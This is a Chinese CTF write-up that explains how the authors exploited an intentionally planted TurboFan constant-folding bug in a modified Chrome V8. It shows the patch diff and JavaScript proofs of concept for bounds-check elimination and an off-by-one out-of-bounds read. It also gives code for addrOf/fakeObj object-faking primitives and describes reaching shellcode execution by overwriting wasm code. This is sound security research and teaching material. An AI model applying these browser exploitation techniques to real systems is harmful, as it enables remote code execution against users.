利用边界检查消除破解Chrome JIT编译器

本文共同作者: shiki7(@Marche147)

本文将介绍一场CTF(强网杯CTF决赛)中的Chrome V8 TurboFan编译器赛题的漏洞利用。赛题由最新版本chromium修改而来。经作者引入刻意漏洞后考察选手构造v8 JIT poc及编写漏洞利用的情况。目标chromium以 --no-sandbox 模式运行,在完成远程代码执行后方可获取flag。

在利用过程中,我们先通过V8边界检查消除优化把编译器bug转变为数组off-by-one bug。之后通过堆排布与计算获取了稳定且可复用的 addrOf 和 fakeObj 原语。最终实现稳定的远程代码执行。

另外,如果你热爱此类real-world风格的CTF赛题,也请保持关注Real World CTF

漏洞描述

diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
       if (m.left().Is(kMaxUInt32)) return ReplaceBool(false);  // M < x => false
       if (m.right().Is(0)) return ReplaceBool(false);          // x < 0 => false
       if (m.IsFoldable()) {                                    // K < K => K
-        return ReplaceBool(m.left().Value() < m.right().Value());
+        return ReplaceBool(m.left().Value() < m.right().Value() + 1);
       }
       if (m.LeftEqualsRight()) return ReplaceBool(false);  // x < x => false
       if (m.left().IsWord32Sar() && m.right().HasValue()) {

这是一个非常有趣的patch,因为它只用了两个字符。它作用于一个较晚的TurboFan优化阶段: MachineOperatorReducer

中间表示 kUint32LessThan 用于比较两个uint32类型数字。在MachineOperatorReducer 这个优化中,编译器会尝试把确定性的比较操作直接优化为一个布尔常量。例如,对于任意的 \thetakMaxUint32 < \theta 都会被直接折叠为 False 。同样,对于常数之间的比较,编译器也会将其折叠。例如, 4 < 4 会被直接折叠为 False

这个patch在进行折叠时引入了一个错误,因为它在判断时将右值进行了加一,导致了在一些情况下折叠会出错。例如 4 < 4 (False) 会被当做 4 < 5 (True)

直观上来看,这个bug并不能直接导致内存破坏,我们必须要把它转换为更强大的漏洞利用原语。

边界检查消除 (Bounds Check Elimination)

通过数组访问边界检查消除这个优化,先前已有很多V8 typer的bug被成功利用。(例如: CVE-2019-5782) 。因此,我们首先想到能否采用类似的方式利用这个漏洞。

然而,因为这种漏洞利用方式太过于方便,可以将一个很严苛的漏洞转变成数组任意越界,chrome开发者为了增强V8抵御此类漏洞的能力,决定去掉Simplified lowering过程中的边界检查优化。

幸运的是,我们注意到依然有一些类似的bug可以利用。例如,Jeremy Fetiveau在他的文章中提到的String#lastIndexOf 漏洞的利用。在阅读其文章时,我们发现边界检查消除的漏洞利用技巧还是有机会继续使用的。

寻找合适的路径消除边界检查

首先,为了方便我们的分析。我们可以使用D8的--trace-turbo选项和turbolizer来查看TurboFan优化过程中的Sea of Nodes中间表示。

目前,尽管simplified lowering在优化时已经不再会移除 CheckBound这个节点了,但是它会把CheckBounds替换为一个CheckedUint32Bounds节点(参考代码)。如此一来,在Effect Control Linearization优化阶段,CheckedUint32Bounds又会被进一步替换为Uint32LessThan。根据Uint32LessThan比较的结果,TurboFan会产生一个 LoadElement节点或者是一个Unreachable节点(参考代码)

例如,对于如下代码,

function opt(){
	let arr = [0, 1, 2, 3];
	let idx = 3;
	return arr[idx];
}

for(var i=0; i < 0x10000; i++)
    opt()

var x = opt()
console.log(x)

// output
$ ./d8 ./test.js
$ 3


编译器会产生如下中间表示。它正确的消除了边界检查,提供了更高的性能。

边界检查消除过程


因为 (3 < 4) \equiv True ,所以在没有任何边界检查情况下,最终的机器码直接加载了数组里的元素。

现在,利用这个漏洞的思路已经非常清楚了:使用Uint32LessThan产生的错误结果来消除数组访问时的边界检查。

常数折叠和两种绕过它的方法

根据以上的思路,我们来进行初步的尝试并期望有按照我们预期的OOB数组访问出现。

function opt() {
    let arr = [0, 1, 2, 3];
    let idx = 4;
    return arr[idx];
}

...

// output
$ ./d8 ./test.js
$ undefined

不幸的是,以上代码并没有造成越界访问并返回了undefined。

经过一些试验和调研,我们最终注意到LoadElement节点消失了。

LoadElement节点在LoadElimination优化阶段后消失

最终我们发现idx变量被LoadElimination中的常数折叠直接去掉了。为了避免掉常数折叠,我们需要赋予CheckBound一个不确定的范围。

因此我们选择了在idx这个变量上进行一些算术操作。

function opt(){
 let arr = [1.1, 2, 3, 5]

 let idx = 4;
 idx &= 0xfff;
 return arr[idx];
}

...

// output
$ ./d8 ./test.js
$ 8.714350797546e-311
常数折叠已被避免

Cool! 我们可以从代码中观察到越界访问已经发生并把越界的读取的数据返回了! 从技术角度上来讲,我们现在完全可以使用这个技巧完成整个漏洞利用了。

但是,我个人还是更喜欢另外一种更有趣的方式: 逃逸分析

逃逸分析

逃逸分析这种优化可以用来移除临时分配的对象。

例如,在如下代码中,因为"o" 这个对象是非逃逸的,所以"o"这个对象会在逃逸分析中被直接删掉。

// before escape analysis
function foo() {
    var o = {x: 1, y:2};
    console.log(o.x);
}

// after escape analysis
function foo() {
    console.log(1);
}

因为逃逸分析在LoadElimination和MachineOperatorReducer之间,所以我们可以把一个常数放在非逃逸对象中来避免常数折叠。

function opt(){
 let arr = [1.1, 2, 3, 5];

 let o = {x: 4};
 return arr[o.x];
}

...

// output

$ ./d8 ./test.js
$ 1.99567061273097e-310

到目前为止,现在我们已经成功把这个漏洞转换成了一个数组Off-By-One漏洞。

利用数组Off-By-One漏洞

V8中的对象表示

在V8中,对象的类型由它的Map成员来确定。因此,如果我们能把一个double数组的map替换为一个var数组的map, 那么我们就能得到一个type confusion的数组。

因为Map是JS对象的第一个成员变量,通过对堆和对象的排布,我们可以把两个数组挤在一起,然后用前一个数组去读写后一个的Map成员。

利用Off-By-One来伪造对象的思路

现在的利用思路是: 构造出两个Off-By-One的数组,第一个用来信息泄露, 第二个用来伪造对象。上图展示了伪造对象的思路。

堆风水

实际调试过程中观察到的对象结构

很不幸的是,在试验上述思路的过程中,我们注意到堆的布局非常奇怪。数组的backstore总之在数组头之前。这导致了我们只能通过Off-By-One来读自己的Map。

这其实对于泄露double数组的map没有影响。然而,我们无法泄露var数组的map。因为var数组读出的map是以object的形式呈现的,这没有办法让我们知道它的地址值。

万幸的是,V8是用一个独立的堆来管理Map对象的,内存的布局在这个堆里还是较为稳定的。因此,我们可以为double数组map的地址加上固定的偏移来获取var数组的map地址。

构建稳定的漏洞利用原语

一开始,我们使用如下样式的代码来做信息泄露和对象伪造。

var lkrefs = [];

function leaker(obj) {
    var a = [obj, obj, obj, obj];
    lkrefs.push(a);
    var o = {a: 4};
    a[o.a] = [double_map];
    return a;
}

function addrOf(obj) {
    for(var i = 0; i < 12000; i++) {
      var ppp = leaker(obj);
    }
    return ppp[0];
}

function faker(addr) {
    var a = [addr, addr, addr, addr];
    lkrefs.push(a);
    var o = {a: 4};
    a[o.a] = [var_array_map];
    return a;
}

function fakeObj(addr) {
    for(var i = 0; i < 12000; i++) {
        var ppp = faker(addr);
    }
    return ppp[0];
}

然而, 这种方式非常的不稳定。如果我们用它太多次,V8就会触发垃圾回收导致我们伪造的对象全部被破坏,造成程序崩溃。

因此,我们通过用此原语来伪造一个数组,来构造更稳定的fake和leak原语。

var o = {
    a: 0.0,
    b: [map],
    c: {},
    d: addrOf(o),
    e: 0x0000100400000000,
    f: {}
}

faked = addrOf(o) + 0x20;

var fake_arr = fake_obj(faked.asDouble());

// we create a stable primitive
function addrof(obj) {
    o.d = addr_o.asDouble();
    o.b = [var map];
    fake_arr[7] = obj;
    o.b = [double map];
    return fake_arr[7];
}

function fakeobj(addr) {
    o.d = addr_o.asDouble();
    o.b = [double map];
    fake_arr[7] = addr;
    o.b = [var map];
    return fake_arr[7];
}

代码执行

拥有了稳定的addrOf和fakeObj原语后,完成漏洞利用已如探囊取物。

我们直接跟着已有的方法来获取任意地址读写原语,之后通过覆盖掉wasm的代码完成了任意shellcode执行。

Demo

最终演示效果如下

最终效果https://www.zhihu.com/video/1132580930270945280

致谢

感谢部分Tea Deliverers战队成员在本文章编写中提供的宝贵意见。感谢杨坤博士对本文进行的校对。

参考资料

Exploiting the Math.expm1 typing bug in V8↩︎

Introduction to TurboFan

Circumventing Chrome's hardening of typer bugs

编辑于 2019-07-16

文章被以下专栏收录